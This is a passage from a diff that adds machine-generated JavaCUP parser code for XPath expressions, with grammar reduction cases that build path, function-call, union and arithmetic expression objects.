. . . . . . . .*/ + case 43: // AbsoluteLocationPath ::= SLASH + { + Step RESULT = null; + RESULT = null; + CUP$parser$result = new java_cup.runtime.Symbol(25/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 42: // LocationPath ::= AbsoluteLocationPath + { + LocationPathExpr RESULT = null; + int alpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int alpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step alp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new LocationPathExpr(); + RESULT.setPathType(LocationPathExpr.ABSOLUTE_PATH); + //System.out.println(" absolute "); + RESULT.setStep(alp); + //startStep = currentStep=null; + + CUP$parser$result = new java_cup.runtime.Symbol(18/*LocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 41: // LocationPath ::= RelativeLocationPath + { + LocationPathExpr RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new LocationPathExpr(); + RESULT.setStep(rlp); + + CUP$parser$result = new java_cup.runtime.Symbol(18/*LocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 40: // Argument ::= Expr + { + Expr RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int eright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = e; + CUP$parser$result = new java_cup.runtime.Symbol(17/*Argument*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 39: // ArgumentList ::= Argument COMMA ArgumentList + { + Alist RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int alleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int alright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Alist al = (Alist)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new Alist(); + RESULT.e = a; + RESULT.next = al; + + CUP$parser$result = new java_cup.runtime.Symbol(15/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 38: // ArgumentList ::= Argument + { + Alist RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new Alist(); + RESULT.e = a; + CUP$parser$result = new java_cup.runtime.Symbol(15/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 37: // ArgumentList ::= + { + Alist RESULT = null; + RESULT = null; + CUP$parser$result = new java_cup.runtime.Symbol(15/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 36: // FunctionCall ::= FunctionName LP ArgumentList RP + { + FuncExpr RESULT = null; + int fnleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left; + int fnright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).right; + FuncName fn = (FuncName)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-3)).value; + int alleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int alright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Alist al = (Alist)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + RESULT = new FuncExpr(fn.i, al); + CUP$parser$result = new java_cup.runtime.Symbol(1/*FunctionCall*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 35: // PrimaryExpr ::= FunctionCall + { + Expr RESULT = null; + int fcleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int fcright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + FuncExpr fc = (FuncExpr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = fc; + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 34: // PrimaryExpr ::= NUMBER + { + Expr RESULT = null; + int neleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int neright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Double ne = (Double)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new NumExpr(ne.doubleValue()); + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 33: // PrimaryExpr ::= LITERAL + { + Expr RESULT = null; + int leleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int leright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String le = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new LiteralExpr(le); + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 32: // PrimaryExpr ::= LP Expr RP + { + Expr RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int eright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + RESULT = e; + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 31: // PrimaryExpr ::= VariableReference + { + Expr RESULT = null; + int veleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int veright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ve = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ve; + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 30: // FilterExpr ::= FilterExpr Predicate + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int feright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + int pleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int pright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Predicate p = (Predicate)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new FilterExpr(fe, p); + CUP$parser$result = new java_cup.runtime.Symbol(12/*FilterExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 29: // FilterExpr ::= PrimaryExpr + { + Expr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int peright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = pe; + CUP$parser$result = new java_cup.runtime.Symbol(12/*FilterExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 28: // PathExpr ::= FilterExpr DSLASH RelativeLocationPath + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int feright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + parser.tempStep = new Step(); + + parser.tempStep.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep.setNodeTest(parser.tempNt); + + parser.tempStep.setNextStep(rlp); + rlp.setPrevStep(parser.tempStep); + + /*parser.tempStep2 = new Step(); + parser.tempNt = new NodeTest(); + parser.tempStep2.setAxisType(AxisType.SELF); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep2.setNodeTest(parser.tempNt); + + parser.tempStep2.setNextStep(parser.tempStep); + parser.tempStep.setPrevStep(parser.tempStep2);*/ + + parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(parser.tempStep); + RESULT = new PathExpr(fe, parser.tempLPExpr); + + CUP$parser$result = new java_cup.runtime.Symbol(11/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 27: // PathExpr ::= FilterExpr SLASH RelativeLocationPath + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int feright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(rlp); + RESULT = new PathExpr(fe, parser.tempLPExpr); + + CUP$parser$result = new java_cup.runtime.Symbol(11/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 26: // PathExpr ::= FilterExpr + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int feright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = fe; + CUP$parser$result = new java_cup.runtime.Symbol(11/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 25: // PathExpr ::= LocationPath + { + Expr RESULT = null; + int lpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int lpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + LocationPathExpr lp = (LocationPathExpr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = lp; + CUP$parser$result = new java_cup.runtime.Symbol(11/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 24: // UnionExpr ::= PathExpr UNION UnionExpr + { + UnionExpr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int peright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int uneleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int uneright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + UnionExpr une = (UnionExpr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + RESULT = new UnionExpr(pe); + RESULT.next = une; + + CUP$parser$result = new java_cup.runtime.Symbol(14/*UnionExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 23: // UnionExpr ::= PathExpr + { + UnionExpr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int peright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new UnionExpr(pe); + + CUP$parser$result = new java_cup.runtime.Symbol(14/*UnionExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 22: // UnaryExpr ::= SUB UnaryExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new UnaryExpr( BinaryExpr.SUB, ue); + CUP$parser$result = new java_cup.runtime.Symbol(10/*UnaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 21: // UnaryExpr ::= UnionExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + UnionExpr ue = (UnionExpr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ue; + CUP$parser$result = new java_cup.runtime.Symbol(10/*UnaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 20: // MultiplicativeExpr ::= MultiplicativeExpr MOD UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.MOD, ue); + CUP$parser$result = new java_cup.runtime.Symbol(9/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 19: // MultiplicativeExpr ::= MultiplicativeExpr DIV UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.DIV, ue); + CUP$parser$result = new java_cup.runtime.Symbol(9/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 18: // MultiplicativeExpr ::= MultiplicativeExpr MULT UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.MULT, ue); + CUP$parser$result = new java_cup.runtime.Symbol(9/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 17: // MultiplicativeExpr ::= UnaryExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ue; + CUP$parser$result = new java_cup.runtime.Symbol(9/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 16: // AdditiveExpr ::= AdditiveExpr SUB MultiplicativeExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(ae, BinaryExpr.SUB, me); + CUP$parser$result = new java_cup.runtime.Symbol(8/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 15: // AdditiveExpr ::= AdditiveExpr ADD MultiplicativeExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(ae, BinaryExpr.ADD, me); + CUP$parser$result = new java_cup.runtime.Symbol(8/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 14: // AdditiveExpr ::= MultiplicativeExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = me; + CUP$parser$result = new java_cup.runtime.Symbol(8/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 13: // RelationalExpr ::= RelationalExpr GE AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.GE, ae); + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 12: // RelationalExpr ::= RelationalExpr LE AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.LE, ae); + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 11: // RelationalExpr ::= RelationalExpr GT AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aeleft = 